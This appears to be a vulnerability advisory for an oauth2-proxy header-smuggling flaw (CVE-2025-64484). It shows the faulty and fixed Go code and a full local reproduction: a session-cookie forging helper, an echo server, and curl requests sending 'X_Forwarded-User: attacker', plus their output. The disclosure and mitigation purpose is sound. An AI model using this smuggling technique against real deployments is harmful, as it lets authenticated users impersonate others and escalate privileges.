- Product / Component:
oauth2-proxy/oauth2-proxy– request header injector (pkg/middleware/headers.go,pkg/apis/options/header.go) - Impact: Authenticated users can smuggle attacker-controlled
X_Forwarded-*values (e.g., impersonate another upstream user) by switching to underscore variants (X_Forwarded-User) that bypass header stripping in releases< v7.13.0 - Introduced:
6743e3991d4a0da3b40ad124877fabfa3234b7a5(2020‑07‑26) – request header injector shipped without header-name normalization, soreq.Header.Del(header)only removed exact canonical names - Fixed:
5993067505cac4c8e80192787ccd1f4cba05d994→ tagv7.13.0– adds underscore-to-dash/title-case normalization plusInsecureSkipHeaderNormalizationescape hatch - Reproduction Status: Independent reproduction succeeded on a clean Lima VM (
pruva-repro-20251113-214740-28f91c9a) using the steps documented below; curl transcripts are embedded here, so no external logs are required.
The original header injector (commit 6743e399) stripped duplicates by iterating raw header names and calling req.Header.Del(name):
// commit 6743e3991d4a0da3b40ad124877fabfa3234b7a5
func stripHeaders(headers []string, next http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
for _, header := range headers {
req.Header.Del(header) // ❌ only deletes canonicalized Title-Case names
}
next.ServeHTTP(rw, req)
})
}Go’s Header.Del canonicalizes names (Title-Case, underscores preserved), so X_Forwarded-User and X-forwarded-user are considered distinct. Downstream apps (nginx, Envoy, Rails) typically normalize underscores to dashes before forwarding to application logic, meaning an attacker can send X_Forwarded-User: attacker while OAuth2 Proxy injects X-Forwarded-User: victim. The upstream receives both, normalizes, and trusts the last one—resulting in identity spoofing or privilege escalation.
v7.13.0 tightens stripping logic and exposes an opt-out flag:
-func stripHeaders(headers []string, next http.Handler) http.Handler {
+func stripHeaders(headers []options.Header, next http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
- for _, header := range headers {
- req.Header.Del(header)
+ for _, header := range headers {
+ stripNormalizedHeader(req, header)
}
next.ServeHTTP(rw, req)
})
}
+func normalizeHeaderName(headerName string) string {
+ headerName = strings.ToLower(headerName)
+ return strings.ReplaceAll(headerName, "_", "-")
+}
+
+func stripNormalizedHeader(req *http.Request, header options.Header) {
+ normalizedName := normalizeHeaderName(header.Name)
+ for h := range req.Header {
+ if normalizeHeaderName(h) == normalizedName {
+ delete(req.Header, h)
+ }
+ }
+}- The loop now receives
options.Header, so each entry can consultInsecureSkipHeaderNormalization. normalizeHeaderNamelowercases and replaces underscores, guaranteeing canonical comparisons.stripNormalizedHeaderdeletes all equivalent keys (upper/lower/underscore variants), preventing smuggling unlessInsecureSkipHeaderNormalizationis explicitly flipped on via alpha config.
- 2020‑07‑26 (
6743e399) – request/response header injectors land without normalization; bug exists from this point through every 7.x release. - 2024‑11 preview tags – still vulnerable; advisory GHSA-vjrc-mh2v-45x6 assigns CVE-2025-64484.
- 2025‑11‑08 (
59930675→f3f30fa9) – normalization + opt-out flag merge tomaster, released asv7.13.0. - Post‑v7.13.0 – default builds safe; only users who set
InsecureSkipHeaderNormalization: true(e.g., via alpha config) reintroduce the legacy behavior.
Below is a fully self-contained procedure that anyone can run on Ubuntu 22.04 (or Lima VM equivalent). It mirrors the automated repro and emits the same evidence.
# 1. Install dependencies
sudo apt-get update
sudo apt-get install -y git curl python3 build-essential
# 2. Install Go 1.24.6 locally (adjust GOOS/GOARCH if needed)
cd /tmp
curl -fsSLo go1.24.6.linux-amd64.tar.gz https://go.dev/dl/go1.24.6.linux-amd64.tar.gz
tar -xf go1.24.6.linux-amd64.tar.gz
export GOROOT=/tmp/go
export PATH="$GOROOT/bin:$PATH"
export GOPATH=/tmp/gopath
mkdir -p "$GOPATH"
# 3. Clone oauth2-proxy and build v7.12.0 & v7.13.0
git clone https://github.com/oauth2-proxy/oauth2-proxy.git
cd oauth2-proxy
git fetch --tags
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.12.0 ./...
git checkout v7.12.0
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.12.0 .
git checkout v7.13.0
GOOS=linux GOARCH=amd64 go build -o ../oauth2-proxy-v7.13.0 ./...
# 4. Generate signed session cookies (helper program from report)
cat > /tmp/generate_cookie.go <<'EOF'
package main
import (
"flag"
"fmt"
"log"
"net/http/httptest"
"time"
options "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/apis/options"
sessionsapi "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/apis/sessions"
cookiestore "github.com/oauth2-proxy/oauth2-proxy/v7/pkg/sessions/cookie"
)
func main() {
var cookieName, cookieSecret, user, email string
var duration time.Duration
flag.StringVar(&cookieName, "cookie-name", "_oauth2_proxy", "")
flag.StringVar(&cookieSecret, "cookie-secret", "", "")
flag.StringVar(&user, "user", "user", "")
flag.StringVar(&email, "email", "user@example.com", "")
flag.DurationVar(&duration, "duration", 8*time.Hour, "")
flag.Parse()
if cookieSecret == "" {
log.Fatal("cookie-secret is required")
}
cookieOpts := options.Cookie{
Name: cookieName,
Secret: cookieSecret,
Path: "/",
Expire: duration,
}
sessionOpts := &options.SessionOptions{Type: options.CookieSessionStoreType}
storeIface, err := cookiestore.NewCookieSessionStore(sessionOpts, &cookieOpts)
if err != nil {
log.Fatalf("failed to create cookie store: %v", err)
}
ss := &sessionsapi.SessionState{
Email: email,
User: user,
PreferredUsername: user,
Groups: []string{"users"},
}
ss.CreatedAtNow()
ss.ExpiresIn(duration)
req := httptest.NewRequest("GET", "http://127.0.0.1/", nil)
rw := httptest.NewRecorder()
if err := storeIface.Save(rw, req, ss); err != nil {
log.Fatalf("failed to save session: %v", err)
}
res := rw.Result()
for _, c := range res.Cookies() {
if c.Name == cookieName {
fmt.Printf("%s=%s\n", c.Name, c.Value)
return
}
}
log.Fatalf("cookie %s not found in response", cookieName)
}
EOF
go run /tmp/generate_cookie.go --cookie-name _oauth2_proxy_test --cookie-secret 01234567890123456789012345678901 --user victim --email victim@example.com > /tmp/cookie.txt
# 5. Launch upstream echo server (python3 upstream_server.py from this report)
python3 - <<'PY' &
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Echo(BaseHTTPRequestHandler):
def do_GET(self):
payload = {
"path": self.path,
"original_headers": dict(self.headers),
"normalized_headers": {k.title(): v for k, v in self.headers.items()},
}
data = json.dumps(payload, indent=2).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
HTTPServer(("127.0.0.1", 28080), Echo).serve_forever()
PY
# 6. Start oauth2-proxy instances (v7.12.0, v7.13.0 default, v7.13.0 with InsecureSkipHeaderNormalization)
# (a) v7.12.0: ./oauth2-proxy-v7.12.0 --provider=github --client-id=dummy --client-secret=dummy \
# --upstream=http://127.0.0.1:28080 --http-address=127.0.0.1:28081 \
# --cookie-secret=01234567890123456789012345678901 --cookie-name=_oauth2_proxy_test \
# --email-domain='*' --skip-auth-route=/
# (b) v7.13.0 default: same flags, change binary path and port to 28082.
# (c) v7.13.0 insecure: same as (b) plus `--alpha-config=/path/to/alpha_insecure.yaml`
# where the alpha config contains `injectRequestHeaders` with
# `InsecureSkipHeaderNormalization: true` for `X-Forwarded-User`:
cat > /tmp/alpha_insecure.yaml <<'YAML'
injectRequestHeaders:
- name: X-Forwarded-User
insecureSkipHeaderNormalization: true
values:
- claim: user
providers:
- provider: github
id: github=dummy
clientID: dummy
clientSecret: dummy
server:
BindAddress: 127.0.0.1:28083
SecureBindAddress: ""
upstreamConfig:
upstreams:
- path: /
uri: http://127.0.0.1:28080
YAML
./oauth2-proxy-v7.13.0 --alpha-config=/tmp/alpha_insecure.yaml ...
# 7. Send the crafted request:
COOKIE=$(cat /tmp/cookie.txt)
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28081/ > v712.log 2>&1
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28082/ > v713.log 2>&1
curl -v -H "Cookie: $COOKIE" -H "X_Forwarded-User: attacker" -H "X-Forwarded-Proto: http" http://127.0.0.1:28083/ > v713_insecure.log 2>&1Vulnerable v7.12.0 (v712.log):
{
"original_headers": {
"X-Forwarded-User": "victim",
"X_forwarded-User": "attacker"
},
"normalized_headers": {
"X-Forwarded-User": "victim",
"X-forwarded-User": "attacker"
}
}Patched v7.13.0 default (v713.log):
{
"original_headers": {
"X-Forwarded-User": "victim"
},
"normalized_headers": {
"X-Forwarded-User": "victim"
}
}v7.13.0 + InsecureSkipHeaderNormalization (v713_insecure.log):
{
"original_headers": {
"X-Forwarded-User": "victim",
"X_forwarded-User": "attacker"
},
"normalized_headers": {
"X-Forwarded-User": "victim",
"X-forwarded-User": "attacker"
}
}These excerpts show the key behavior without relying on external artifacts: only releases ≥ v7.13.0 (with default settings) strip the underscore alias, while older releases and InsecureSkipHeaderNormalization allow the attacker-controlled value through.
- Patch – upgrade to ≥ v7.13.0 or cherry-pick
5993067505cac4c8e80192787ccd1f4cba05d994. - Config review – search for
InsecureSkipHeaderNormalizationin alpha configs; remove or document compensating controls if it must stay enabled. - Defense-in-depth – upstream services that trust OAuth2 Proxy headers should canonicalize (
lower(), replace_with-) before applying authorization decisions to avoid future normalization mismatches.